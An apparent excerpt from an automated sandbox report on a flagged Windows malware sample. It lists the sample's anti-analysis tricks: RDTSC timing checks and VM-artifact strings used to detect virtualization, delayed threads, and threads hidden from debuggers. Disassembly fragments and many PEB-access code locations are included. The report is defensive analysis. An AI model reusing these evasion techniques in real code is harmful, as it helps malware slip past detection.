Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 0000000002153E6F second address: 0000000002153E6F instructions:
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 0000000002154386 second address: 0000000002154386 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F96C0E04AF8h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d add edi, edx 0x0000001f test ah, dh 0x00000021 dec dword ptr [ebp+000000F8h] 0x00000027 cmp dword ptr [ebp+000000F8h], 00000000h 0x0000002e jne 00007F96C0E04AA4h 0x00000030 jmp 00007F96C0E04B1Eh 0x00000032 test ecx, 2C8794B1h 0x00000038 cmp bl, bl 0x0000003a call 00007F96C0E04B17h 0x0000003f call 00007F96C0E04B08h 0x00000044 lfence 0x00000047 mov edx, dword ptr [7FFE0014h] 0x0000004d lfence 0x00000050 ret 0x00000051 mov esi, edx 0x00000053 pushad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 00000000021543A6 second address: 00000000021543A6 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F96C0390C99h 0x0000001d popad 0x0000001e call 00007F96C0390950h 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 0000000002154B0E second address: 0000000002154B0E instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 cmp byte ptr [ebx], FFFFFFB8h 0x00000006 jne 00007F96C0E04B13h 0x00000008 cmp ecx, 00002000h 0x0000000e jne 00007F96C0E04A01h 0x00000014 inc ecx 0x00000015 inc ebx 0x00000016 test ax, bx 0x00000019 cmp dword ptr [ebx], 9090C350h 0x0000001f jne 00007F96C0E04B34h 0x00000021 cmp edx, dword ptr [ebx] 0x00000023 jne 00007F96C0E04AFCh 0x00000025 cmp byte ptr [ebx], FFFFFFE8h 0x00000028 jne 00007F96C0E04B4Ah 0x0000002a pushad 0x0000002b mov esi, 00000048h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 00000000005643A6 second address: 00000000005643A6 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F96C0390C99h 0x0000001d popad 0x0000001e call 00007F96C0390950h 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 0000000000564B0E second address: 0000000000564B0E instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 cmp byte ptr [ebx], FFFFFFB8h 0x00000006 jne 00007F96C0E04B13h 0x00000008 cmp ecx, 00002000h 0x0000000e jne 00007F96C0E04A01h 0x00000014 inc ecx 0x00000015 inc ebx 0x00000016 test ax, bx 0x00000019 cmp dword ptr [ebx], 9090C350h 0x0000001f jne 00007F96C0E04B34h 0x00000021 cmp edx, dword ptr [ebx] 0x00000023 jne 00007F96C0E04AFCh 0x00000025 cmp byte ptr [ebx], FFFFFFE8h 0x00000028 jne 00007F96C0E04B4Ah 0x0000002a pushad 0x0000002b mov esi, 00000048h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 0000000000564089 second address: 0000000000564089 instructions:
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Code function: 0_2_02153813 rdtsc

0_2_02153813

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Window / User API: threadDelayed 4616

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe TID: 6940

Thread sleep count: 4616 > 30

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Thread sleep count: Count: 4616 delay: -5

Jump to behavior

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.473829610.0000000000806000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to hide a thread from the debugger

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Code function: 0_2_0215045A NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC

0_2_0215045A

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Code function: 0_2_02153813 rdtsc

0_2_02153813

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Code function: 0_2_02152F0E LdrInitializeThunk,

0_2_02152F0E

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02151424 mov eax, dword ptr fs:[00000030h]	0_2_02151424
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02154876 mov eax, dword ptr fs:[00000030h]	0_2_02154876
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021548D5 mov eax, dword ptr fs:[00000030h]	0_2_021548D5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02153CF1 mov eax, dword ptr fs:[00000030h]	0_2_02153CF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02152501 mov eax, dword ptr fs:[00000030h]	0_2_02152501
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02154124 mov eax, dword ptr fs:[00000030h]	0_2_02154124
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02151BBE mov eax, dword ptr fs:[00000030h]	0_2_02151BBE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12A61C mov eax, dword ptr fs:[00000030h]	9_2_1E12A61C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12A61C mov eax, dword ptr fs:[00000030h]	9_2_1E12A61C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FC600 mov eax, dword ptr fs:[00000030h]	9_2_1E0FC600
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FC600 mov eax, dword ptr fs:[00000030h]	9_2_1E0FC600
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FC600 mov eax, dword ptr fs:[00000030h]	9_2_1E0FC600
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E128E00 mov eax, dword ptr fs:[00000030h]	9_2_1E128E00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1608 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1608
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1AFE3F mov eax, dword ptr fs:[00000030h]	9_2_1E1AFE3F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FE620 mov eax, dword ptr fs:[00000030h]	9_2_1E0FE620
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E107E41 mov eax, dword ptr fs:[00000030h]	9_2_1E107E41
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E107E41 mov eax, dword ptr fs:[00000030h]	9_2_1E107E41
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E107E41 mov eax, dword ptr fs:[00000030h]	9_2_1E107E41
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E107E41 mov eax, dword ptr fs:[00000030h]	9_2_1E107E41
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E107E41 mov eax, dword ptr fs:[00000030h]	9_2_1E107E41
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E107E41 mov eax, dword ptr fs:[00000030h]	9_2_1E107E41
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BAE44 mov eax, dword ptr fs:[00000030h]	9_2_1E1BAE44
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BAE44 mov eax, dword ptr fs:[00000030h]	9_2_1E1BAE44
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11AE73 mov eax, dword ptr fs:[00000030h]	9_2_1E11AE73
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11AE73 mov eax, dword ptr fs:[00000030h]	9_2_1E11AE73
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11AE73 mov eax, dword ptr fs:[00000030h]	9_2_1E11AE73
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11AE73 mov eax, dword ptr fs:[00000030h]	9_2_1E11AE73
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11AE73 mov eax, dword ptr fs:[00000030h]	9_2_1E11AE73
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10766D mov eax, dword ptr fs:[00000030h]	9_2_1E10766D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18FE87 mov eax, dword ptr fs:[00000030h]	9_2_1E18FE87
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1746A7 mov eax, dword ptr fs:[00000030h]	9_2_1E1746A7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C0EA5 mov eax, dword ptr fs:[00000030h]	9_2_1E1C0EA5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C0EA5 mov eax, dword ptr fs:[00000030h]	9_2_1E1C0EA5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C0EA5 mov eax, dword ptr fs:[00000030h]	9_2_1E1C0EA5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C8ED6 mov eax, dword ptr fs:[00000030h]	9_2_1E1C8ED6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E138EC7 mov eax, dword ptr fs:[00000030h]	9_2_1E138EC7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1AFEC0 mov eax, dword ptr fs:[00000030h]	9_2_1E1AFEC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1236CC mov eax, dword ptr fs:[00000030h]	9_2_1E1236CC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1216E0 mov ecx, dword ptr fs:[00000030h]	9_2_1E1216E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1076E2 mov eax, dword ptr fs:[00000030h]	9_2_1E1076E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11F716 mov eax, dword ptr fs:[00000030h]	9_2_1E11F716
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18FF10 mov eax, dword ptr fs:[00000030h]	9_2_1E18FF10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18FF10 mov eax, dword ptr fs:[00000030h]	9_2_1E18FF10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C070D mov eax, dword ptr fs:[00000030h]	9_2_1E1C070D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C070D mov eax, dword ptr fs:[00000030h]	9_2_1E1C070D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12A70E mov eax, dword ptr fs:[00000030h]	9_2_1E12A70E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12A70E mov eax, dword ptr fs:[00000030h]	9_2_1E12A70E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F4F2E mov eax, dword ptr fs:[00000030h]	9_2_1E0F4F2E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F4F2E mov eax, dword ptr fs:[00000030h]	9_2_1E0F4F2E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12E730 mov eax, dword ptr fs:[00000030h]	9_2_1E12E730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10EF40 mov eax, dword ptr fs:[00000030h]	9_2_1E10EF40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10FF60 mov eax, dword ptr fs:[00000030h]	9_2_1E10FF60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C8F6A mov eax, dword ptr fs:[00000030h]	9_2_1E1C8F6A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E177794 mov eax, dword ptr fs:[00000030h]	9_2_1E177794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E177794 mov eax, dword ptr fs:[00000030h]	9_2_1E177794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E177794 mov eax, dword ptr fs:[00000030h]	9_2_1E177794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E108794 mov eax, dword ptr fs:[00000030h]	9_2_1E108794
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1337F5 mov eax, dword ptr fs:[00000030h]	9_2_1E1337F5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C740D mov eax, dword ptr fs:[00000030h]	9_2_1E1C740D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C740D mov eax, dword ptr fs:[00000030h]	9_2_1E1C740D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C740D mov eax, dword ptr fs:[00000030h]	9_2_1E1C740D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1C06 mov eax, dword ptr fs:[00000030h]	9_2_1E1B1C06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176C0A mov eax, dword ptr fs:[00000030h]	9_2_1E176C0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176C0A mov eax, dword ptr fs:[00000030h]	9_2_1E176C0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176C0A mov eax, dword ptr fs:[00000030h]	9_2_1E176C0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176C0A mov eax, dword ptr fs:[00000030h]	9_2_1E176C0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12BC2C mov eax, dword ptr fs:[00000030h]	9_2_1E12BC2C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18C450 mov eax, dword ptr fs:[00000030h]	9_2_1E18C450
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E18C450 mov eax, dword ptr fs:[00000030h]	9_2_1E18C450
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12A44B mov eax, dword ptr fs:[00000030h]	9_2_1E12A44B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11746D mov eax, dword ptr fs:[00000030h]	9_2_1E11746D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10849B mov eax, dword ptr fs:[00000030h]	9_2_1E10849B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C8CD6 mov eax, dword ptr fs:[00000030h]	9_2_1E1C8CD6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B14FB mov eax, dword ptr fs:[00000030h]	9_2_1E1B14FB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176CF0 mov eax, dword ptr fs:[00000030h]	9_2_1E176CF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176CF0 mov eax, dword ptr fs:[00000030h]	9_2_1E176CF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E176CF0 mov eax, dword ptr fs:[00000030h]	9_2_1E176CF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E17A537 mov eax, dword ptr fs:[00000030h]	9_2_1E17A537
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BE539 mov eax, dword ptr fs:[00000030h]	9_2_1E1BE539
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E103D34 mov eax, dword ptr fs:[00000030h]	9_2_1E103D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C8D34 mov eax, dword ptr fs:[00000030h]	9_2_1E1C8D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E124D3B mov eax, dword ptr fs:[00000030h]	9_2_1E124D3B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E124D3B mov eax, dword ptr fs:[00000030h]	9_2_1E124D3B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E124D3B mov eax, dword ptr fs:[00000030h]	9_2_1E124D3B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FAD30 mov eax, dword ptr fs:[00000030h]	9_2_1E0FAD30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E117D50 mov eax, dword ptr fs:[00000030h]	9_2_1E117D50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E133D43 mov eax, dword ptr fs:[00000030h]	9_2_1E133D43
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E173540 mov eax, dword ptr fs:[00000030h]	9_2_1E173540
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11C577 mov eax, dword ptr fs:[00000030h]	9_2_1E11C577
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E11C577 mov eax, dword ptr fs:[00000030h]	9_2_1E11C577
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F2D8A mov eax, dword ptr fs:[00000030h]	9_2_1E0F2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F2D8A mov eax, dword ptr fs:[00000030h]	9_2_1E0F2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F2D8A mov eax, dword ptr fs:[00000030h]	9_2_1E0F2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F2D8A mov eax, dword ptr fs:[00000030h]	9_2_1E0F2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F2D8A mov eax, dword ptr fs:[00000030h]	9_2_1E0F2D8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12FD9B mov eax, dword ptr fs:[00000030h]	9_2_1E12FD9B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12FD9B mov eax, dword ptr fs:[00000030h]	9_2_1E12FD9B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122581 mov eax, dword ptr fs:[00000030h]	9_2_1E122581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122581 mov eax, dword ptr fs:[00000030h]	9_2_1E122581
